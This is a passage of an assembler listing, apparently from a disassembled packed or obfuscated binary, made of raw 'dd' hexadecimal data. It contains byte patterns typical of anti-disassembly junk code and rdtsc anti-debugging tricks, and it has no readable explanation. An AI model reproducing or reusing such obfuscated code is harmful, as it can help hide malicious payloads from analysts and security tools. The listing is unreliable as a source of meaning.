		dd 9E9h, 0D85C800h, 4D92F5BAh, 0B5FF3D2Ah, 61D3199h, 2CD595FFh
		dd 12E9061Dh, 0B0000001h, 899D8B00h, 0E6061D30h, 3DBD2970h
		dd 0E4061D19h, 10BF71h,	613C72DAh, 0F3830Fh, 810F0000h
		dd 6, 225BD29h,	0B60F061Dh, 11E9C8h, 14E00000h,	0C44F0063h
		dd 38E924FFh, 0B2E0EAF8h, 0BA6B771Dh, 6, 700E7CBBh, 8BC18B3Fh
		dd 4E8C1DAh, 30C5BD89h,	9D03061Dh, 61D12A5h, 29E2F766h
		dd 1D17A9B5h, 0A5C78106h, 2B1BC3C7h, 0BDB509C8h, 8B061D07h
		dd 0F99D89D1h, 0E9061D11h, 8Dh,	2805BD89h, 858B061Dh, 505F4C4Ch
		dd 1AF1B589h, 13E9061Dh, 0A000000h, 35B5472Ch, 3E269AC9h
		dd 7F8229B8h, 5F2E4145h, 0C083CA2Ch, 5BD38107h,	834B5740h
		dd 816600C0h, 89C5D4F3h, 1D33018Dh, 0FD03B06h, 1883h, 0BE900h
		dd 81D10000h, 4325452Bh, 85F0A417h, 2FE9A5h, 0C7800000h
		dd 0FF8D8B9Fh, 0BBFFFFFFh, 865E2Ah, 0F01E183h, 1884h, 0FFA58300h
		dd 0FEFFFFFFh, 0DB0F57BBh, 4C958937h, 0F8505F4Ch, 0E9h
		dd 3EB58D00h, 5006218Fh, 17870Fh, 11E80000h, 0AC000000h
		dd 0BC174B70h, 90F1CB8Bh, 0C0087352h, 6E37A974h, 6A5F5Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8C35343h
		dd 8EB88D80h, 53A5833Bh, 0B5C6F381h, 0FF5F38DBh, 1D120995h
		dd 0B9D88B06h, 0FF0h, 0E857006Ah, 3, 5FC35F20h,	4247C89h
		dd 4244481h, 18h, 8C35747h, 304822E5h, 0F6AFDF81h, 0E1834211h
		dd 55006AFCh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 5A546065h, 9AB0842Bh, 890Fh, 9D8B0000h
		dd 61D0225h, 816653FCh,	5B6339DBh, 6AC02Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 9D8B8EC3h, 61D2121h,	11E9h, 3DFF9300h, 0A0849B6Eh, 0B412DBA4h
		dd 0B19D05EBh, 0BA3929h, 66000000h, 5C6CCB81h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0DAC35747h, 8B662A78h, 13E9F9h, 55DD0000h
		dd 1C9FAFDEh, 52B0AC8Ch, 0B4E01C53h, 0C41B24A1h, 880DBBh
		dd 810F0000h, 7, 111BBB51h, 8B5F52DAh, 1D20D195h, 1D8D8B06h
		dd 66061D33h, 0B4EDC781h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 820F5818h, 5, 7E1ADCBFh, 0A9BD333Ch, 8B061D13h
		dd 31BD83D9h, 61D31h, 7A840Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F7182AC3h
		dd 14D9EECDh, 85893E2Ah, 61D16E9h, 0B8h, 298D8900h, 8D061D05h
		dd 1D4C898Dh, 0DD9D2B06h, 0E9061D14h, 0Fh, 6D763887h, 0D80ED592h
		dd 0EF843825h, 0FF16DFBAh, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 9D8B718Ch
		dd 61D2989h, 2BF9BD83h,	0F00061Dh, 46884h, 77B86000h, 6634873Ah
		dd 61832EBEh, 2BF9BD83h, 0F01061Dh, 46B84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0A774A672h, 0F88B66E6h, 2BF9BD83h, 0F03061Dh, 40586h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 44AD1982h, 0D7C37E2Bh, 0BF0F351Ah, 79BD8BD9h
		dd 60061D04h, 11E8h, 0B111A300h, 0B9487115h, 9DEB8C09h
		dd 0C2C7E587h, 0BB66D4E4h, 895F840Eh, 1D11F98Dh, 0D98C6606h
		dd 829BD03h, 0E180061Dh, 0BF665704h, 0A5B9909h,	0E840FC9h
		dd 3000001h, 1D1285BDh,	0E1858B06h, 89061D20h, 1D2C0D9Dh
		dd 99853306h, 6A061D1Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 8685C356h, 80600309h
		dd 8E821F3h, 73000000h,	0A0A75E7Bh, 527ED8A1h, 66615E5Bh
		dd 5690F88Bh, 505B5B56h, 66D08B60h, 9061C78Bh, 0C8A0Fh
		dd 7E90000h, 28000000h,	8F034445h, 6A5926h, 895BD23h, 1668061Dh
		dd 0BBC25BAEh, 454BA676h, 0E9240481h, 0E93DC355h, 0Dh
		dd 13A17D09h, 84321F7Ch, 0DE707999h, 0EF8166DCh, 95FFA825h
		dd 61D3145h, 11E9h, 9CA28800h, 7B7C0F50h, 0AC07ACD1h, 8B024BDDh
		dd 85896861h, 620A362h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0F5C35343h, 60A4C797h, 0F913FE9Dh, 22EE9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0BAA568B1h, 51DB39DDh, 5A858BC2h, 660620A3h
		dd 0C796D6BBh, 1800h, 0AE800h, 882C0000h, 92A19A02h, 6EA97D41h
		dd 15759D23h, 8B5F061Dh, 20A35EB5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 186BE7E0h
		dd 858BD88Bh, 61D147Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0DFC35242h, 0A9BD2350h, 5F061D16h, 89DBBF0Fh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 4169811Fh, 87E4E781h, 858B7788h,	61D20E1h
		dd 1D25BD8Bh, 4689061Dh, 85296004h, 61D1829h, 16799D89h
		dd 0BF61061Dh, 279564D0h, 0BE850h, 787D0000h, 80AB6807h
		dd 589B2216h, 66525079h, 310FD88Bh, 895F585Ah, 6A2434h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 112224C3h, 0C933F042h, 0F2816660h, 0BF0F30DCh, 0B5FF61F1h
		dd 620A35Ah, 13FD9D89h,	4E8061Dh, 0FF000000h, 50001F03h
		dd 424448Bh, 3ABF6660h,	19850F14h, 0E9000000h, 14h, 0F4691AA3h
		dd 45390FD3h, 82862C5Bh, 8CAC8886h, 452735Ch, 0E8008B61h
		dd 8, 353B0884h, 9E835E7Fh, 5FF98B66h, 4244489h, 8F0F56h
		dd 5B000000h, 0EE958h, 1A950000h, 5A756D6Bh, 1A466DE2h
		dd 0A6BCC43Eh, 0A362858Dh, 6A0620h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 8B8C29C3h
		dd 0BB66767Bh, 0BF506A0Eh, 7D92CCBEh, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 7A3BC355h, 0BE9h, 200BF200h,	0B049EA53h, 0C6B1BA9h
		dd 314595FFh, 6A061Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 84E4B2C3h, 0EEB6B2DBh, 613DB40Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0E9C35343h
		dd 3A754D3Fh, 668596DFh, 0EE8D88Bh, 25000000h, 1F00934Fh
		dd 96EADE56h, 36BB74DAh, 118D8976h, 5B061D2Fh, 2BF985C7h
		dd 3061Dh, 0CE90000h, 2000000h,	0FD53499Fh, 8962C745h
		dd 831A7F11h, 20A362BDh, 840F0006h, 1Ah, 0F78139B7h, 5695447Bh
		dd 28E9h, 8E900h, 34B80000h, 0C05C0BAEh, 3050F078h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 699589C0h
		dd 6A061D1Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0F5D8C352h, 8B58A0A8h,	1D2A219Dh
		dd 91B9BF06h, 0BD832966h, 61D2BF9h, 1D850F03h, 6A000004h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0FF83C352h, 0D2829AADh, 0CE9h, 5ADC000h
		dd 68A92F2Fh, 0BDB55F0Dh, 0FA8B572Eh, 62BD835Bh, 620A3h
		dd 3DA840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 846DE8C3h, 735A8C82h, 0B5FF3AF0h
		dd 620A362h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	8DC35747h, 0D5853149h, 29061D26h, 1D19598Dh, 995FF06h
		dd 6A061D2Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 5C53C352h, 0DEBF0F08h,	0A356B58Bh
		dd 0BD8B0620h, 61D1901h, 106C7h, 8D890001h, 61D04D5h, 820F5250h
		dd 3, 5BD88B66h, 3243489h, 1D1221BDh, 62B5FF06h, 6A0620A3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0C2AAC353h, 791D5429h, 295605BCh,	1D3279B5h
		dd 0C3815B06h, 35D50F25h, 208195FFh, 0C380061Dh, 56B58B28h
		dd 520620A3h, 858B5BFCh, 61D0085h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0D7C35343h,	0C27A19E9h, 6890Fh
		dd 9D230000h, 61D18F1h,	0AE8F98Bh, 0F3000000h, 9666EDABh
		dd 0F3D5898Eh, 895FF9CBh, 0C486h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 49099CB1h
		dd 0E5BD8915h, 8B061D21h, 1D21B59Dh, 0D1958B06h, 8A061D20h
		dd 119D8BDDh, 83061D15h, 6A04C2h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0ADBB7CC3h
		dd 89266B45h, 9D8B2050h, 61D2599h, 0B678858Dh, 6A0620h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 251023C3h, 36E31460h, 0E9E141CEh, 14h, 89021162h, 0AE9646F1h
		dd 0B8428995h, 0F9A9EE5Dh, 0E9FDCF11h, 5BD89h, 8689061Dh
		dd 0B8h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0ACC35343h, 6A006AF9h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8BD0C352h, 1D20F5BDh
		dd 62B5FF06h, 890620A3h, 1D02598Dh, 6995FF06h, 6A061D15h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 18C3C355h, 7B1D3F6h, 7367CF9Bh, 13E9h, 0EF7C300h
		dd 0A1B9702Ah, 0C9222CF7h, 1C33D549h, 159938C0h, 7E896h
		dd 0CC670000h, 7BCDB2B0h, 0FE820h, 477B0000h, 5E314BDAh
		dd 0DF125C9Dh, 7AED373Eh, 5B61607Eh, 8B66505Fh,	6A96FBh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0F4FE44C3h, 0BD293F8Eh, 61D27B5h, 0A362B5FFh, 0FFFC0620h
		dd 1D1A9595h, 0BD83FC06h, 61D2C71h, 40840F00h, 89000000h
		dd 1D154DB5h, 0AE99606h, 0B5000000h, 5AF8087Bh,	790A1D57h
		dd 6A9650C3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0C0CFC351h, 8B66B8B5h,	4D9D33E5h
		dd 0FF061D33h, 20A362B5h, 0FB8B6606h, 9AD95FFh,	8057061Dh
		dd 0FF5FE9DFh, 20A362B5h, 858D8906h, 0BF061D2Ah, 1CF8C7B1h
		dd 2A7195FFh, 6A061Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0BD8339C3h, 61D03EDh, 4F840F02h
		dd 8B000000h, 49858BFEh, 6A061D2Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 6E43C355h
		dd 77992A81h, 11E9C7h, 7D510000h, 1E85BB39h, 3C7B7912h
		dd 5C44DDCh, 0C62E8690h, 8B0F0000h, 6, 907AE781h, 85C712D3h
		dd 61D00D5h, 0
		dd 0FFF3A1E9h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0CD1E267Ah, 1EB2130Fh
		dd 0BD331C21h, 61D0229h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 4DF258C3h, 0BF0F090Ah
		dd 21858DDAh, 0F061D04h, 85h, 52505000h, 5F77B756h, 0BE9310Fh
		dd 0D5000000h, 7BA2A10Ah, 73D2E8Fh, 585AA997h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 234EC355h, 175FA65h, 6A29DB80h, 0FEB70F00h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 55203DC3h, 65B58903h, 29061D09h, 1D14299Dh
		dd 6C858D06h, 6A062223h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 1916C353h, 0ED4C0499h
		dd 2BD2E2F1h, 1CF59509h, 0C083061Dh, 0D6806005h, 6132B542h
		dd 0BE86090h, 61000000h, 2A3F103Dh, 36AB86B7h, 5E566966h
		dd 0BF525059h, 1A36B75Dh, 5250310Fh, 585A310Fh,	5061585Ah
		dd 52505250h, 5591BF66h, 0C6BF310Fh, 5A1D9066h,	0F310F58h
		dd 287h, 5A5F5200h, 6AF59058h, 0F006A00h, 283h,	0FFDA8B00h
		dd 1D2A3995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8D4696EEh, 2095358Dh, 0E8D1FF06h
		dd 8, 5BE999D4h, 0D09A2BB0h, 0BD835FF5h, 61D31C1h, 0B1850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0F991C355h, 6A026Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8D8996C3h
		dd 61D1FF1h, 98D8D89h, 0F90061Dh, 587h,	0AC4CBF00h, 0E850019Eh
		dd 6, 0D3994E9Fh, 0F4B7AA42h, 6A905Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 5149ADC3h
		dd 95FF27C0h, 61D1569h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 16C35747h, 720E4F6Ah,	0BD8BEDA4h, 61D2A09h
		dd 0E2CE9h, 0E800h, 815D0000h, 222376EDh, 9E96006h, 7000000h
		dd 0E78877C4h, 3B97D943h, 2F29BD09h, 8B61061Dh,	1D0F21BDh
		dd 22858D06h, 0F06208Dh, 382h, 0DE8B6600h, 0FE950h, 0DAF40000h
		dd 6DAAF4FAh, 80A3AD7Eh, 0A06DECDEh, 24048977h,	2B299D8Bh
		dd 0FF64061Dh, 35h, 0D2C78100h,	6465EBE6h, 2589h, 0B70F0000h
		dd 0C185FFDAh, 3061D1Bh, 1D2F9D9Dh, 6AFF6A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0B10BC357h, 5C9FEF4Fh, 0D446CF14h, 0B72BC380h, 0CDB5FFF4h
		dd 6A061D2Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0A651C357h, 0E1D25029h, 13E9h
		dd 0CBAEF400h, 20BA968Ah, 0A4525328h, 8DB0ADCDh, 57C240E8h
		dd 2CD595FFh, 3CE9061Dh, 66000001h, 0B0DFFBBFh,	70E6FC00h
		dd 9E9h, 8AB97B00h, 4634100Ch, 71E495B3h, 26C58D89h, 0BD8B061Dh
		dd 61D0F11h, 830F613Ch,	10Fh, 27419D8Bh, 0B60F061Dh, 0EE8C8h
		dd 2D680000h, 0E065C12Bh, 0CDA93A67h, 67FA3FE0h, 7AD9531h
		dd 895F061Dh, 1D2EE18Dh, 6BA06h, 0B70F0000h, 33C18BF9h
		dd 1D2E59BDh, 4E8C106h,	89E2F766h, 1D1B8995h, 60C82B06h
		dd 9F59D31h, 8529061Dh,	61D0675h, 0E8D18B61h, 0Fh, 0DCF5A4FAh
		dd 0F709B234h, 26269204h, 60973BF2h, 840FF9h, 61000000h
		dd 95E95Bh, 0B70F0000h,	4C858BDFh, 0BB494755h, 51C0EE64h
		dd 8307C083h, 0E38100C0h, 4DE85ADCh, 830FD03Bh,	1Ch, 0FE9h
		dd 0F49A0700h, 0D7A3AA0Ah, 0CE4CCFFAh, 0E83E56BFh, 5AE9h
		dd 0DA8B6600h, 0FFFF8D8Bh, 9D8BFFFFh, 61D2D2Dh,	0F01E183h
		dd 4284h, 25F38100h, 0E85D46FDh, 0Bh, 0B8035FEBh, 4DC579B4h
		dd 5BAAC813h, 0FFFFA583h, 81FEFFFFh, 0CFEFFFF7h, 0FE8B662Fh
		dd 554C9589h, 60524947h, 1CC1B589h, 0C181061Dh,	46CE4EFDh
		dd 0E95F61h, 8D000000h,	219F2EB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 92731CB4h
		dd 0AC3C6BEBh, 8D0F28C0h, 3, 8BF98B66h,	1D1915BDh, 6A006A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0CD56C355h, 0B131F4D7h, 0FFDE7FB5h, 1D120995h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 62B92FA5h, 1000011h, 1D1A098Dh, 0E19D8906h
		dd 83061D16h, 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 8C9D4EC3h, 0C887FA5Fh, 0EE90Eh
		dd 25720000h, 4B24910Ah, 5B52C88Bh, 0A4BCE2C3h,	0FCF98B66h
		dd 0B8h, 0CA04BB00h, 0D22B370Ah, 76F62EBFh, 0C233AD05h
		dd 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 3DC52935h
		dd 17DF8166h, 53006AB9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 64A7D2E6h, 0CE8AE69h, 29000000h
		dd 8BD9BFB7h, 0FC2CD996h, 814BFD51h, 0D277BCEBh, 880D5B1Ah
		dd 0E8000000h, 0Ch, 0D42F64DDh,	0C60F3AC5h, 0BD6084DBh
		dd 28D0Fh, 0CAB70000h, 0D1958B5Fh, 6A061D20h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 5006C355h, 8BFBDE49h, 1D331D8Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 25C8C40Ah
		dd 4DBD8BA8h, 8B061D14h, 1D3045BDh, 0C28B5006h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 54A6C353h
		dd 0F8D355F0h, 850Fh, 0BD830000h, 61D3131h, 8F840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 5C99C355h, 523B8FCEh, 1A919D8Bh
		dd 0B8061Dh, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0EC79C353h,	0B58D8960h
		dd 89061D09h, 1D1ACD8Dh, 8D8D6106h, 61D4C89h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 71C35343h, 66959FFEh
		dd 3371E781h, 8E0FE1FFh, 6, 0B6D5D381h,	0BD835DE2h, 61D2BF9h
		dd 89840F00h, 89000004h, 1D1C59B5h, 0F9BD8306h,	1061D2Bh
		dd 491840Fh, 83F80000h,	1D2BF9BDh, 860F0306h, 44Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9DC35545h, 0E1BEC0F2h
		dd 7654ECF7h, 1C4DB589h, 6A60061Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F69EC353h
		dd 66FEB70Fh, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 1BDE69C3h, 4F431D26h, 0E1801041h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0EEDBE049h, 892FBADFh, 1D329185h, 0C90AF506h
		dd 13F840Fh, 7E80000h, 0C9000000h, 0DDCD5499h
		dd 8B5F7762h, 1D20E185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 89BD1595h, 1D0F098Dh
		dd 8533F806h, 61D1B99h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0B5C35040h, 0BF62EBCBh, 20957602h, 50DA8B90h
		dd 66605250h, 5250CF8Bh, 585A310Fh, 0F310F61h, 83h, 90585A00h
		dd 28D0Fh, 6AB70000h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0CDF93DC3h, 0DCCDEDB0h
		dd 0FE8F98Bh, 54000000h, 4EDAB044h, 45873DAEh, 13ADEE19h
		dd 0BD23EC28h, 61D06F9h, 68DA8B5Fh, 4B623815h, 3481FE8Ah
		dd 7D3BEA24h, 0FB8B664Bh, 314595FFh, 6A061Dh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0B6D1C5C3h
		dd 58401E43h, 0E81D6024h, 14h, 47EA49F4h, 0D22E8A13h, 86FAFC3Fh
		dd 0B9852CB0h, 0CB5DAFACh, 9E9h, 818A0C00h, 0A859F2Eh
		dd 895F81F1h, 20A36285h, 4E9F906h, 89000002h, 1D0331B5h
		dd 5A858B06h, 6A0620A3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 89BDC351h, 1D029585h
		dd 0C98D8906h, 0C7061D01h, 1800h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0DB960D29h
		dd 0C5B7A334h, 0A35EB58Bh, 6A0620h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 3B352FC3h
		dd 5D7E9DE0h, 0FA795C4h, 1484h,	0FE900h, 28200000h, 0CDA45253h
		dd 0E88DB0ADh, 0D557C240h, 7D858B31h, 6A061D14h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 9FB1C353h, 9FD50D2Eh, 94E0ECBFh, 6A06893Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 55E5C352h, 0ACC6D6F6h, 0B7DFB70Fh, 0E1858B44h, 6A061D20h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0B3D7C350h, 61BD33D4h, 89061D1Bh,	860F0446h
		dd 6, 2A6D8D89h, 6096061Dh, 0F525060h, 66585A31h, 8A61F08Bh
		dd 8A5061CCh, 6A96FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0A0AA89C3h, 667AF4CAh, 0FF723CBFh
		dd 20A35AB5h, 5E906h, 52F80000h, 68A6FC2Bh, 45348FCDh
		dd 810F5253h, 0
aB42mEj		db '[[4$2+Ej',0
		db 55h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 93CCB86Bh, 0BC8FF90Fh, 150DF8Bh, 1D118DB5h, 858D5B06h
		dd 620A362h, 3115BD8Bh,	0F50061Dh, 28Ah, 89E2B700h, 0BF0F2404h
		dd 4595FFF8h, 6A061D31h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F85C353h, 681h, 21BD8B00h
		dd 61061D0Fh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	53C35747h, 0C70D72E1h, 1D2BF985h, 306h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0B2F3864Fh, 0BD83FC3Eh, 620A362h, 12840F00h,	8B000000h
		dd 26E9D9h, 95310000h, 61D0F21h, 0B570D4BBh, 0C30503Bh
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	4D9D89F5h
		dd 6A061D26h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0ED1BC350h, 2BF9BD83h,	0F03061Dh
		dd 43B85h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1C04h, 0C3504000h, 22C58C83h, 893B3C68h, 62BD83F8h
		dd 620A3h, 40A840Fh, 0B5890000h, 61D0461h, 19598589h, 0B5FF061Dh
		dd 620A362h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	6BC35646h, 0FF5D6B2Ah, 1D2B0995h, 0DD958906h, 8B061D14h
		dd 20A356B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 6CCEBB2Ch, 0DDCCE273h, 45BD8BABh
		dd 0C7061D12h, 1000106h, 6FEB8100h, 50123CBEh, 81243489h
		dd 40EFECEFh, 62B5FF1Eh, 8B0620A3h, 0F98B66F9h,	208195FFh
		dd 0B58B061Dh, 620A356h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 0B6C35040h, 0CF15AFB4h, 14E94BB1h, 0EB000000h
		dd 6570A636h, 8C425529h, 0FD98B9Ah, 482BEE6Fh, 8BB6ADA3h
		dd 1D008585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 8BD7F44Dh, 1D29399Dh, 0BD335106h
		dd 61D1AF5h, 0C486895Bh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 7495C356h
		dd 958BDE8Bh, 61D20D1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 41C35646h, 32A1BAD1h,	33FCC626h, 271DB529h
		dd 0C283061Dh, 9E96004h, 0CB000000h, 0C21B7A38h, 309FB3F0h
		dd 6800Fh, 0B5330000h, 61D28D9h, 20508961h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DDC35747h, 6628C46Ah
		dd 7D00D381h, 0B678858Dh, 6A0620h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 48B4B9C3h, 0DEBF0FE2h
		dd 0B88689h, 6A0000h, 0E857006Ah, 3, 5FC35F20h,	4247C89h
		dd 4244481h, 14h, 98C35747h, 68F0Fh, 95890000h,	61D1659h
		dd 0A362B5FFh, 6A0620h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 676495C3h, 5DB5090Eh, 0FF061D0Fh
		dd 1D156995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 51DA354Ch, 8BA15833h, 1D27619Dh
		dd 7FB39606h, 0D0BB6650h, 6A9626h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 9529FEC3h, 61D0699h
		dd 0FFFEB70Fh, 20A362B5h, 6E806h, 0E74D0000h, 3D36E0CEh
		dd 5860Fh, 74BB0000h, 5F1E7CC6h, 1A9595FFh, 6A061Dh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 600925C3h, 662811C8h, 0ADA4E381h, 2C71BD83h,	0F00061Dh
		dd 7B84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0F343E152h, 80AE7559h, 10E9E9E7h
		dd 76000000h, 199FD24Eh, 1142F860h, 4F66362h, 89BC66E3h
		dd 1D293D8Dh, 2BF5006h,	8903FA8Eh, 6A2434h, 3E855h, 5D200000h
